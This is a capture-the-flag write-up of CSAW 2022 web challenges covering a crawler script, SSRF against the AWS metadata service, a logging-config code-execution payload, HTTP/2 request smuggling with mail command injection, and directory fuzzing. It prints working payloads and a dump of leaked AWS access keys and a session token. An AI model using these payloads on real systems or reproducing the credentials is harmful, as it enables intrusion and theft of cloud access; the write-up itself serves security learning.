CSAW 2k22 ALL WEB WRITEUPS

CSAW 2022 - full web writeups

INTRO

We, SOter14, spotted 1st place in Middle East and North Africa region, and 13th worldwide out of more than 900 participating teams and got invited to attend the finals, onsite in ABU DHABI - Emirates.
We managed to solve 27 out of 30 task, and we’ve got solutions for 2 out of the 3 remaining tasks (1 crypto, 1 pwn) working locally but had issues with remote server, hard luck next time!

Word wide web (406 solves)

Given a webpage with lot of <a> tags, only one tag contains href attribute with valid path to the next page. Recursively, every new page visited contains the same thing but with new path to the next page.

desc

Solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://web.chal.csaw.io:5010/"
session = requests.Session()

with session :
next_word = 'stuff'
while True:
response1 = session.get(url+next_word)
"""print(session.cookies)"""
try:
startingIndex=response1.text.index('href="/')
endText = response1.text[startingIndex:].index('">')
except :
print(response1.text)
break
print("next word:",response1.text[7+startingIndex:endText+startingIndex])
next_word = response1.text[7+startingIndex:endText+startingIndex]

flag

My little website (204 solves)

desc

There is a unique feature of converting markdown to pdf, at first when I fetched external ressources and got the result in pdf, I tried to look with ns lookup for what cloud the challenge is hosted on. Once I discovered that it’s AWS, one Idea instantly came to my mind : accessing aws meta-data through 169.254.169.254

SSRF to 169.254.169.254 –> AWS metadata –> SecretKey, SecretId, SecurityToken –> Remote_Access

1
<script> top.location='[http://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonSSMRoleForInstancesQuickSetup](http://169.254.169.254/latest/meta-data/)' </script>

pdf

Seems unintended, cuz with the right role / permission, we can cause a serious damage and go beyond getting a simple flag.

http://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonSSMRoleForInstancesQuickSetup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"Code" : "Success",
"LastUpdated" : "2022-09-09T17:30:49Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAXOT35QYLSAMKCIPN",
"SecretAccessKey" : "LYjUPfpAZ4G+Lw5mQWcTpCvaUTSGAcyatfcLsm2u",
"Token" :
"IQoJb3JpZ2luX2VjELL//////////wEaCXVzLXdlc3QtMiJGMEQCIB3PI9WG6S1VTyQYyd43HkwNtoRzVg+UlB5HboU7CLpUAiASizIAZ
vPFf/qGB0PTbajDaFkQ6yLdMvN6dHlelmWKuyrMBAhLEAAaDDUxMjQzNDczNDYxNSIMTTqcjAUM+9uQb65pKqkE17539UplDbJkH1sSKHE
r5L+rHf3Xm1Qk/87rO9wF5zDEhw/L8YDPqYMGq0erhx/Q/5jXApf0Y5Lx5uTLIHUWoyRA4hdfUDk53RpWKFhh++9Ev/iAbqWhhcldFtEhh
g3S2j00l8oBtLfeGzyjEZWp+m0U0uRDmte9sL09RttOgifuYnq5YXQzveiK+RsQpk/qwNtRnvVNeGuHA+93jhJBtzQw+hhtf6z0iOTaaBy
tDmY2UnQbDC8N+kwBwfNTbem8xbriBZuodOM9nL5kN2ujaiwsRFJRrVD+lUc98cCGfTDZdFll0R9HzmR8bBFCegHmc67Nm49TMckRr6IWs
NmFynP9P9r72VArmxmJ3pc2CeX66qYz4Vce5ahmWYiF0DpM9c7H3UH9tQt/NRQgSTdZ1BrOYGZVkHsUU04TFUz/xMakajQwALtRxKiYUMY
e0DXf2nWMNhr+NWOvrNVdajVAko8n8Whhj7WQ2o4OtXjU/v2uEN695EeBpwMujigxOSAz8fdbtuek15boHgNmfqzBKd8bYj5WS/nCDTBt0
3TTjpVrhAtzIIuHOf0Yo7iHAiYKdcGLHq2DXADRH08F4fRMFJuvC2w1xpkBhIo9sUNAEpDpWuMDcSG0NMrSDyQg4IKgX8848o1GzqRrP8S
53IBZ/XUFXkfFe+n43j0dP6x8LqMUXTxen2/iM69BJ/NezQ+EdfEQFSK/FFeZRM2JJSQ/hhnmDpytOkufrjC/8O2YBjqqAVvYyfsnTbDzB
zTP8kFm17/HUGD/c1sxC8ZGHlJED/8V3auRWlqgMLCG+xxSYee5CY7ehwY9y5ImB6h5WZS+7aBqZR9p1izrahH/zP1xePfP5exYlkcb+OS
Zl9LpLTy2gbcx/MDDz4RTD3wNLsDIxHS+Ikw+bP6EWaqQKlpyt09Q1vfefEVmef74IKufl5//LwBeBSQM5pueWgpqBMiRvY5rBWRfm9xh5
iKg",
"Expiration" : "2022-09-09T23:36:00Z"
}

I noticed then an announcement from the author
announcement

Solution

My mate m0ngi already dealt with that in the past, his published writeup exposed me directly to the appropriate CVE.
sol
flag

Good Intentions (130 solves)

Source code tree :

It’s a flask app, I opened routes.py at first to discover the endpoints behavior.

here’s the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
import json
from application.database import User, Image, db, migrate_db
from application.util import admin_only, generate
import sys, os
from subprocess import PIPE, run

from flask import Blueprint, jsonify, redirect, render_template, request, current_app, send_file
from flask_login import current_user, login_required, login_user, logout_user
from werkzeug.utils import secure_filename

import logging
import logging.config

logger = logging.getLogger(__name__)

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

"""
Front-end of the site is currently in development but we've put placeholders for now...
"""

def response(message):
return jsonify({'message': message})

@web.route('/', methods=['GET'])
def landing_page():
return render_template('landing.html')

#WORK IN PROGRESS
"""@web.route('/login', methods=['GET'])
def login():
return render_template('login.html')
"""

@api.route('/login', methods=['POST'])
def user_login():

current_app.logger.debug("Entering login")

if not request.is_json:
return response('Missing required parameters!'), 401

data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')

if not username or not password:
return response('Missing required parameters!'), 401

user = User.query.filter_by(username=username).first()

if not user or not user.password == password:
return response('Invalid username or password!'), 403

login_user(user)
return response('User authenticated successfully!')

#WORK IN PROGRESS
"""@web.route('/register', methods=['GET'])
def register():
return render_template('register.html')
"""

@api.route('/register', methods=['POST'])
def user_registration():

current_app.logger.debug("Entering register")

if not request.is_json:
return response('Missing required parameters!'), 401

data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')

if not username or not password:
return response('Missing required parameters!'), 401

user = User.query.filter_by(username=username).first()

if user:
return response('User already exists!'), 401

new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()

return response('User registered successfully!')
#return redirect('/')

#WORK IN PROGRESS
"""@web.route('/logout')
@login_required
def logout():
logout_user()
return redirect('/')
"""


@api.route('/gallery', methods=['GET'])
@login_required
def gallery():
current_app.logger.debug("Entering gallery")
query = Image.query.filter_by(username=current_user.username).all()

locations = []

for image in query:
locations.append(image.location)

return response(locations)

@api.route('/download_image', methods=['GET'])
@login_required
def download_image():

current_app.logger.debug("Entering download image")

if 'file' not in request.args:
return response('Missing required parameters!'), 401

query = Image.query.filter_by(location=request.args["file"]).first()

if query.location:
return send_file(f"{current_app.config['UPLOAD_FOLDER']}/images/{query.location}")

else:
return response("File not found!")

@api.route('/upload', methods=['POST'])
@login_required
def upload_image():
if 'file' not in request.files or 'label' not in request.form:
return response('Missing required parameters!'), 401

file = request.files['file']
label=request.form["label"]

if file.filename == '':
return response('Missing required parameters!'), 401

rand_dir = generate(15)
upload_dir = f"{current_app.config['UPLOAD_FOLDER']}/images/{rand_dir}/"
os.makedirs(upload_dir, exist_ok=True)

filename = secure_filename(str(label + "_" + generate(10)))
file.save(upload_dir + filename)

new_file = Image(username=current_user.username, location=f"{rand_dir}/{filename}")
db.session.add(new_file)
db.session.commit()

return response("File successfully uploaded")

#One of the volunteers keeps messing with the logger config. Doing this as a temporary fix so I can fix remotely...
#If you're the one doing it and reading this, please stop.
@api.route('/log_config', methods=['POST'])
@login_required
def log_config():
if not request.is_json:
return response('Missing required parameters!'), 401

data = request.get_json()
file_name = data.get('filename', '')

logging.config.fileConfig(f"{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}")

return response(data)

#WORK IN PROGRESS
"""@web.route('/admin')
@login_required
@admin_only
def admin_panel():
pass
"""

# One of the guys cant get his VPN working on his laptop and complains he needs to do some checks remotely...
@api.route('/run_command', methods=['POST'])
@login_required
@admin_only
def remote_exec():
if not request.is_json:
return response('Missing required parameters!')

data = request.get_json()
command = data.get('command','')
result = run(command, stdout=PIPE, stderr=PIPE, shell=True)

return response(result.stdout.decode())

Running the app locally

Getting also my local app exposed publicly, helped me switch smoothly between machines.

Notes

I used postman for sending requests

  • /api/register for signing up a new user
  • /api/login to authenticate the newly created user
  • The presence of /log_config endpoint looks very juicy, as there is an upload feature (+ we can get the path of the uploaded file through /gallery and read it through /download_image endpoints), *** it seems that the whole task is about changing an existing config file. ***
1
2
3
4
5
6
7
8
9
10
11
12
@api.route('/log_config', methods=['POST'])
@login_required
def log_config():
if not request.is_json:
return response('Missing required parameters!'), 401

data = request.get_json()
file_name = data.get('filename', '')

logging.config.fileConfig(f"{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}")

return response(data)

This repo confirmed my assumptions.

Solution

Logic

upload random file –> Get its storage path –> upload evil config –> remote code execution –> redirect flag to random file –> open random file

  • /api/upload -> upload first random file
  • /api/gallery -> get its name and from the source code we can construct the whole storage path.
    1
    2
    3
    upload_dir = f"{current_app.config['UPLOAD_FOLDER']}/images/{rand_dir}/"

    os.makedirs(upload_dir, exist_ok=True)

  • /api/upload -> upload evil config
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
     [loggers]
    keys=root,simpleExample

    [handlers]
    keys=consoleHandler

    [formatters]
    keys=simpleFormatter

    [logger_root]
    level=DEBUG
    handlers=consoleHandler

    [logger_simpleExample]
    level=DEBUG
    handlers=consoleHandler
    qualname=simpleExample
    propagate=0

    [handler_consoleHandler]
    class=__import__('os').system('cat /flag.txt > /app/application/static/images/e4f13e1c1fe5392be35c504d4635af/whatever_dfa55f8c4266d1a841ef')
    level=DEBUG
    formatter=simpleFormatter
    args=(sys.stdout,)

    [formatter_simpleFormatter]
    format=%(asctime)s - %(name)s - %(levelname)s - %(message)s

  • /api/config_log to enable config

  • /api/download_image -> get the content of the random file

Same steps with remote server to get the real flag

Smuggling Mail (67 solves)

Source Code


Before diving in the source files, the task name indicates that this is a request smuggling challenge;

Notes

  • It’s an express Js app with few enpoints.
  • The server uses Varnish as proxy for caching, which serves as http accelerator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const { spawn } = require("child_process");
const path = require("path");

const express = require("express");
const kill = require("tree-kill");

const app = express();
const port = 8082;
const timeout = 10000;

app.use(express.json());
app.use(express.urlencoded());

app.use("/", express.static(path.join(__dirname, "public")));
app.use("/admin", express.static(path.join(__dirname, "admin")));

app.post("/waitlist", (req, res) => {
res.send("Sorry, the waitlist is currently closed.");
});

// Emergency alert email notification system for all residents
app.post("/admin/alert", (req, res) => {
if (req.body.msg) {
const proc = spawn("mail", ["-s", "ALERT", "all_residents@localhost"], {timeout});
proc.stdin.write(req.body.msg);
proc.stdin.end();
setTimeout(() => { kill(proc.pid); }, timeout);
}

res.end();
});

app.listen(port);

Server.js

And for varnish config, it’s clear that it’s ignoring every request, to /admin and without the required token. In our case we don’t care with the condition statements because our goal is to make the proxy forward the request to the server no matter if the condition is verified or not. Also, note that /admin/alert in the code above spawns an execution of os command, which means there is a potentiel of arbitrary os injection to retrive the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
vcl 4.1;

backend default {
.host = "127.0.0.1:8082";
}

sub vcl_recv {
if (req.url ~ "/admin" && !(req.http.Authorization ~ "^Basic TOKEN$")) {
return (synth(403, "Access Denied"));
}
}

sub vcl_synth {
if (resp.status == 403) {
set resp.body = resp.reason;
return (deliver);
}
}

varnish.vcl

Eye-catching part

While reading config files, I noticed the use of to versions of HTTP (http1.1 and http2) .. To be honest I was highly focusing on every detail related to request sending and how the server receives / interprets it.

Also, when trying a simple POST request to /waitlist that it’s allowed, it won’t work until you add the -k option (for insecure connection) + –http1.1 to force http1.1 use.

H2 CL Desync

James Kettle, Researcher from portswigger tackled the subject in depth. I highly recommend reading his paper about HTTP handling anomalies, Client-side desync and Pause-based desync principles.

The trick behind this chall is stated here , I really appreciate his approach.

Solution


One last thing to mention is that there is great option in mail command that you can find interesting regarding the arbitrary os command injection, while reading its manual.

When dealing with burp suite repeater, try to disable auto updating for content-length

LOST IN AMAZON (19 solves)

Only 19 out of 900 teams succeeded in breaking down This task. Luckily great part of the Solution was my first approach for solving MY LITTLE WEBSITE task, mentioned above.

One single static page, there is no source code for the task and no interesting client side stuff which means that we should aim for fuzzing directories and files. Hopefully, the organizers released a small version of the mostly known wordlist rockyou.txt : that’s a confirms that fuzzing is the starting point of the challenge.

  • /secret revealed a jwt that we’ll need later

  • Fuzzing recursively with depth of 2 seems to reveal smthg, because we can’t do nothing at this level.

/developer/heaven

We need to add a cookie to authenticate

NICE!! ez ssrf which means ez win!

Unlike my first attempt in MyLittleWebsite. This time we don’t have security Token, odds are we have access to S3 bucket with that role.

Adding the Secret and Id keys to the config file ~/.aws/credentials

Final Solution

Conclusion

I want to thank the organizers / authors for their effort. kudos to Ophelious and T0m7r00z for pushing this to the limit. All my teammates are heros! PROUD TUNISIANS. SOter14 ftw <3

n0s